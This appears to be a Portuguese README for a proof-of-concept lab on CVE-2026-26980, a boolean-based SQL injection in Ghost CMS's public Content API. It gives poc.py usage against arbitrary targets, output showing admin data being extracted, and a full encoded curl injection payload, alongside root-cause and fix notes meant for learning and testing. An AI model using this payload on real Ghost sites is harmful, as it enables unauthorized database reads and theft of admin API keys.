
Ghost Content API SQL Injection
★ CVE-2026-26980 Prova de Conceito de Injeção SQL na API de Conteúdo do TryGhost Ghost CMS ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 é uma vulnerabilidade de Injeção SQL não autenticada na API de Conteúdo do TryGhost Ghost CMS. O caminho vulnerável é acessível através da lógica de manipulação de filtros da API de Conteúdo pública quando a ordenação slug:[...] é processada.
Este PoC constrói um laboratório controlado do Ghost 6.19.0 e demonstra como uma solicitação pública da API de Conteúdo pode ser transformada em uma primitiva de leitura de banco de dados baseada em booleano.
| Produto | Versão Afetada | Versão Corrigida | Tipo de Vulnerabilidade |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
O ambiente de laboratório usa Ghost 6.19.0.
Construa e execute o ambiente vulnerável do Ghost CMS usando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Exemplo:
http://127.0.0.1:9102/
O laboratório executa uma instância real vulnerável do Ghost 6.19.0 na porta 9102.
A chave da API de Conteúdo do laboratório é:
EQSTLab299
CVE-2026-26980 : Vulnerabilidade de Injeção SQL na API de Conteúdo do TryGhost Ghost CMS
descrição: Uma vulnerabilidade de injeção SQL no TryGhost Ghost CMS anterior a 6.19.1 permite que um atacante não autenticado com acesso a uma chave pública da API de Conteúdo leia valores arbitrários do banco de dados através do parâmetro de filtro da API de Conteúdo. O problema ocorre no caminho de ordenação do filtro slug:[...], onde valores de slug controlados pelo usuário são inseridos em SQL bruto sem a devida vinculação de parâmetros.
As chaves da API de Conteúdo do Ghost são comumente expostas aos navegadores por design através de temas, busca, portal ou JavaScript do frontend. Isso significa que o caminho vulnerável pode ser alcançado sem autenticação de Administrador do Ghost.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Chave personalizada opcional da API de Conteúdo:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] exemplo: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
O PoC público demonstra o impacto de leitura do banco de dados extraindo metadados seguros do laboratório e material de chaves da API do Ghost. Ele não imprime a flag do desafio.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
A lógica vulnerável existe no caminho de serialização de entrada da API de Conteúdo do Ghost para filtros slug:[...]. O Ghost suporta filtros de slug no estilo de lista e preserva a ordem solicitada dos slugs gerando uma expressão ORDER BY CASE.
Em versões vulneráveis, valores de slug controlados pelo usuário são inseridos em um fragmento SQL. Um padrão vulnerável simplificado é:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Como slug é controlado pelo atacante e inserido na string SQL sem vinculação de parâmetros, um filtro da API de Conteúdo manipulado pode escapar da comparação pretendida e injetar lógica SQL adicional.
O PoC do laboratório utiliza duas tags públicas, bacon e chorizo, como um oráculo booleano observável.
bacon é ordenado primeiro.chorizo é ordenado primeiro.Ao repetir este teste com diferentes condições SQL, o PoC pode inferir valores do banco de dados um caractere por vez.
Verificação do oráculo booleano com curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
A causa raiz é a construção insegura de um fragmento SQL ORDER BY CASE a partir de valores de slug controlados pelo usuário. O código vulnerável tenta preservar a ordem da resposta da API de Conteúdo, mas trata valores de filtro NQL analisados como texto SQL confiável.
Uma correção robusta deve:
O Ghost corrigiu este problema na versão 6.19.1 substituindo a interpolação bruta por vinculações de consulta parametrizadas.
Esta é uma questão CWE-89: Neutralização Imprópria de Elementos Especiais usados em um Comando SQL.
Como a API de Conteúdo do Ghost é intencionalmente pública, essa vulnerabilidade pode permitir que um atacante não autenticado crie uma primitiva de leitura de banco de dados através de um endpoint de conteúdo público. Dependendo do conteúdo do banco de dados e das permissões, um atacante pode ser capaz de:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Este laboratório executa uma instância real vulnerável do Ghost 6.19.0 em vez de um servidor simulado mínimo.
O laboratório semeia:
EQSTLab299bacon, chorizoO poc.py público foi projetado para vídeos de demonstração e writeups públicos. Ele mostra o impacto da injeção SQL sem exibir a flag do desafio.
docker stop cve-2026-26980
Este repositório não se destina a ser um exploit de Injeção SQL para CVE-2026-26980. O objetivo deste projeto é ajudar as pessoas a aprender sobre essa vulnerabilidade e, talvez, testar suas próprias aplicações.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980